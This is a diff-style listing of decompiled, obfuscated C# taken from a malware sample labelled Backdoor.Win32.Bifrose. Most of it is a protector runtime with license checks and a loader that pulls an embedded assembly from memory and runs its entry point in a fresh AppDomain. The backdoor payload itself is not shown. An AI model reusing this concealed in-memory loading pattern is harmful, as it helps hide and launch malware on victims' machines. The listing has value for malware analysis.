int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config);
gcHandle.Free();
if (num2 == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) config;
}
public virtual unsafe string GetThumbPrint(Assembly pReserved)
{
\u0081Ï ï;
if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
StringBuilder stringBuilder = new StringBuilder();
int num = 0;
do
{
// ISSUE: cast to a reference type
// ISSUE: explicit reference operation
stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0'));
++num;
}
while (num < 20);
return stringBuilder.ToString();
}
public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved)
{
uint length;
byte* numPtr;
if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
byte[] destination = new byte[(int) length];
IntPtr num = (IntPtr) (void*) numPtr;
Marshal.Copy(num, destination, 0, (int) length);
Marshal.FreeCoTaskMem(num);
return destination;
}
public virtual unsafe IntPtr GetUsbConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
ulong UsbHash,
ulong UsbIdentity)
{
sbyte* usbConfig;
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbConfig;
}
public virtual unsafe IntPtr GetUsbConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
ulong UsbHash,
ulong UsbIdentity,
IntPtr pAssemblyFile)
{
sbyte* usbConfig;
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbConfig;
}
public virtual unsafe IntPtr GetUsbConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
ulong UsbHash,
ulong UsbIdentity,
AssemblyName Name)
{
string name = Name.Name;
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
sbyte* usbConfig;
int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig);
gcHandle.Free();
if (num2 == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbConfig;
}
public virtual unsafe IntPtr GenerateLicense(
Assembly pReserved,
IntPtr pKeys,
IntPtr preq)
{
sbyte* license;
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) license;
}
public virtual unsafe IntPtr GenerateLicense(
Assembly pReserved,
IntPtr pKeys,
IntPtr preq,
int tolerance,
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
long RuntimeLicensesLimit)
{
sbyte* license;
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) license;
}
public virtual unsafe IntPtr GenerateUsbLicense(
Assembly pReserved,
IntPtr pKeys,
IntPtr preq)
{
sbyte* usbLicense;
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbLicense;
}
public virtual unsafe IntPtr GenerateUsbLicense(
Assembly pReserved,
IntPtr pKeys,
IntPtr preq,
int tolerance,
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
long RuntimeLicensesLimit)
{
sbyte* usbLicense;
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbLicense;
}
public virtual unsafe Assembly ResolveAssembly(string Name)
{
// ISSUE: untyped stack allocation
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
try
{
AssemblyName assemblyName = new AssemblyName(Name);
}
catch (Exception ex1) when (
{
// ISSUE: unable to correctly present filter
uint exceptionCode = (uint) Marshal.GetExceptionCode();
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
uint num2 = 0;
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
try
{
try
{
return (Assembly) null;
}
catch (Exception ex2) when (
{
// ISSUE: unable to correctly present filter
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
if (num2 != 0U)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
}
if (num2 != 0U)
throw;
}
finally
{
\u0082\u00BB.ã((void*) num1, (int) num2);
}
}
byte[] bytes = Encoding.UTF8.GetBytes(Name);
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer());
if (index >= 0)
{
Assembly[] ò = this.ò;
if (index < ò.Length)
{
if ((object) ò[index] == null)
this.ò[index] = this.\u0081â(num3);
gcHandle.Free();
return this.ò[index];
}
}
gcHandle.Free();
return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null;
}
public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2);
public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1)
{
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
int length1 = Marshal.ReadInt32(ptr);
IntPtr source = (IntPtr) (void*) (numPtr + 4);
byte[] rawAssembly = new byte[length1];
byte[] destination = rawAssembly;
int length2 = length1;
Marshal.Copy(source, destination, 0, length2);
Assembly embLockAssembly = Assembly.Load(rawAssembly);
Marshal.FreeCoTaskMem(ptr);
return embLockAssembly;
}
public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1)
{
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
Marshal.FreeCoTaskMem(ptr);
Assembly lockAssemblyName = (Assembly) null;
try
{
lockAssemblyName = Assembly.Load(stringAnsi);
}
catch (Exception ex)
{
}
return lockAssemblyName;
}
public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1)
{
byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
if ((IntPtr) ptr1 == IntPtr.Zero)
return (ArrayList) null;
IntPtr ptr2 = (IntPtr) (void*) ptr1;
ArrayList assemblyServices = new ArrayList();
if (*ptr1 != (byte) 0)
{
do
{
string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1);
assemblyServices.Add((object) stringAnsi);
ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1);
}
while (*ptr1 != (byte) 0);
}
Marshal.FreeCoTaskMem(ptr2);
return assemblyServices;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
{
int num;
if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString)
{
int num;
if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
{
int num;
if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool IsDemo(Assembly pReserved)
{
int num;
if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
public virtual unsafe int DaysLeft(Assembly pReserved)
{
int num;
return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
}
public virtual unsafe int MinutesLeft(Assembly pReserved)
{
int num;
return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
}
public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer());
public virtual void UnloadAppdomain(AppDomain domain)
{
int id = domain.Id;
AppDomain.Unload(domain);
\u0082\u00BB.\u0095(id);
}
public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø();
public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer());
public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers)
{
GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned);
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0);
IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer());
gcHandle.Free();
return num2;
}
public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer());
public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames();
public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles)
{
GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned);
GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned);
GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned);
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0);
IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0);
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0);
\u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer());
gcHandle1.Free();
gcHandle2.Free();
gcHandle3.Free();
}
}
}
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: <dotNetProtector>
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
public class \u003CdotNetProtector\u003E
{
internal static readonly long _Reserved;
}
@@ -0,0 +1,281 @@
// Decompiled with JetBrains decompiler
// Type: é.Ù
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using \u0081é;
using \u0082\u00BC;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace \u0081é
{
[Serializable]
internal class \u0081Ù
{
private IntPtr \u0082\u00B0;
private IntPtr á;
private int Þ;
private Assembly Û;
private unsafe Assembly \u00F7()
{
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
int length1 = Marshal.ReadInt32(ptr);
IntPtr source = (IntPtr) (void*) (numPtr + 4);
byte[] rawAssembly = new byte[length1];
byte[] destination = rawAssembly;
int length2 = length1;
Marshal.Copy(source, destination, 0, length2);
Assembly assembly = Assembly.Load(rawAssembly);
Marshal.FreeCoTaskMem(ptr);
return assembly;
}
private unsafe Assembly \u0089()
{
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
Marshal.FreeCoTaskMem(ptr);
Assembly assembly = (Assembly) null;
try
{
assembly = Assembly.Load(stringAnsi);
}
catch (Exception ex)
{
}
return assembly;
}
public static unsafe int \u0081Ö(Assembly _param0, int _param1)
{
// ISSUE: untyped stack allocation
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]);
int num2 = 0;
\u0081Ù ù = new \u0081Ù();
ù.Û = _param0;
ù.\u0082\u00B0 = hinstance;
ù.Þ = _param1;
IntPtr num3 = (IntPtr) (void*) &num2;
ù.á = num3;
AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString());
int id = domain.Id;
domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç);
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í);
domain.DoCallBack(callBackDelegate);
try
{
AppDomain.Unload(domain);
}
catch (Exception ex1) when (
{
// ISSUE: unable to correctly present filter
uint exceptionCode = (uint) Marshal.GetExceptionCode();
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
uint num4 = 0;
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
try
{
try
{
}
catch (Exception ex2) when (
{
// ISSUE: unable to correctly present filter
num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
if (num4 != 0U)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
}
goto label_10;
if (num4 != 0U)
throw;
}
finally
{
\u0082\u00BB.ã((void*) num1, (int) num4);
}
}
label_10:
\u0082\u00BB.ù();
\u0082\u00BB.\u0095(id);
return num2;
}
public unsafe void í()
{
FieldInfo fieldInfo = (FieldInfo) null;
// ISSUE: untyped stack allocation
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
Assembly entryAssembly = Assembly.GetEntryAssembly();
uint exceptionCode;
if ((object) entryAssembly == null)
{
\u0081ê.\u0081\u0099 = this.Û;
try
{
fieldInfo = (FieldInfo) null;
AppDomain currentDomain = AppDomain.CurrentDomain;
AppDomainManager appDomainManager = currentDomain.DomainManager;
if (appDomainManager == null)
{
appDomainManager = new AppDomainManager();
typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager);
}
typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly);
}
catch (Exception ex1) when (
{
// ISSUE: unable to correctly present filter
exceptionCode = (uint) Marshal.GetExceptionCode();
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
uint num2 = 0;
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
try
{
try
{
}
catch (Exception ex2) when (
{
// ISSUE: unable to correctly present filter
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
if (num2 != 0U)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
}
goto label_18;
if (num2 != 0U)
throw;
}
finally
{
\u0082\u00BB.ã((void*) num1, (int) num2);
}
}
}
else
\u0081ê.\u0081\u0099 = entryAssembly;
label_18:
Assembly assembly = (Assembly) null;
switch (this.Þ & 805306368)
{
case 536870912:
assembly = this.\u0089();
break;
case 805306368:
assembly = this.\u00F7();
break;
}
if ((object) assembly == null)
return;
MethodInfo entryPoint = assembly.EntryPoint;
if ((object) entryPoint == null)
return;
object[] parameters = new object[0];
if (entryPoint.GetParameters().Length != 0)
{
string[] commandLineArgs = Environment.GetCommandLineArgs();
string[] destinationArray = new string[commandLineArgs.Length - 1];
int length = destinationArray.Length;
if (length != 0)
Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length);
parameters = new object[1]
{
(object) destinationArray
};
}
object obj = entryPoint.Invoke((object) null, parameters);
if (obj == null)
return;
try
{
Marshal.WriteInt32(this.á, Convert.ToInt32(obj));
}
catch (Exception ex3) when (
{
// ISSUE: unable to correctly present filter
exceptionCode = (uint) Marshal.GetExceptionCode();
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
uint num3 = 0;
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
try
{
try
{
}
catch (Exception ex4) when (
{
// ISSUE: unable to correctly present filter
num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
if (num3 != 0U)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
}
return;
if (num3 == 0U)
return;
throw;
}
finally
{
\u0082\u00BB.ã((void*) num1, (int) num3);
}
}
}
public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name);
}
}
@@ -0,0 +1,81 @@
// Decompiled with JetBrains decompiler
// Type: é.Þ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using \u0081é;
using \u0082\u00BC;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
namespace \u0081é
{
[Serializable]
internal class \u0081Þ
{
private IntPtr þ;
private int \u0092;
[NonSerialized]
private AppDomain ú;
public \u0081Þ(AppDomain domain, int domainId)
{
this.\u0092 = domainId;
this.ú = domain;
this.þ = IntPtr.Zero;
}
public void \u0081ý()
{
if (this.ú == null)
return;
try
{
for (int index = 0; index < 10; ++index)
{
try
{
string friendlyName = this.ú.FriendlyName;
Thread.Sleep(50);
}
catch (AppDomainUnloadedException ex)
{
break;
}
}
}
finally
{
\u0082\u00BB.\u0095(this.\u0092);
}
}
public static AppDomain \u0081\u008D()
{
MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic);
return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain;
}
public void \u009C()
{
Marshal.GetObjectForIUnknown(this.þ);
Marshal.Release(this.þ);
this.þ = IntPtr.Zero;
new Thread(new ThreadStart(this.\u0081ý)).Start();
}
public void \u0081\u0084(object _param1, EventArgs _param2)
{
AppDomain appDomain = \u0081Þ.\u0081\u008D();
if (appDomain == null)
return;
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C);
this.þ = Marshal.GetIUnknownForObject((object) this.ú);
this.ú = (AppDomain) null;
appDomain.DoCallBack(callBackDelegate);
}
}
}
@@ -0,0 +1,15 @@
// Decompiled with JetBrains decompiler
// Type: é.ê
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using System.Reflection;
namespace \u0081é
{
internal class \u0081ê
{
internal static Assembly \u0081\u0099 = (Assembly) null;
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.î
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 32)]
internal struct \u0081î
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.Ä
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 28)]
internal struct Ä
{
}
}
@@ -0,0 +1,27 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.$
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 216)]
internal struct \u0081\u0024
{
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 16)]
internal struct \u0081ö
{
}
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.€
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
internal enum \u0081\u0080
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.ƒ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
internal enum \u0081\u0083
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.ˆ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[NativeCppClass]
[MiscellaneousBits(64)]
internal enum \u0081\u0088
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.‹
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[MiscellaneousBits(64)]
[NativeCppClass]
[DebugInfoInPDB]
internal enum \u0081\u008B
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
internal enum \u0081\u0090
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.“
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(64)]
[NativeCppClass]
internal enum \u0081\u0093
{
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.—
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
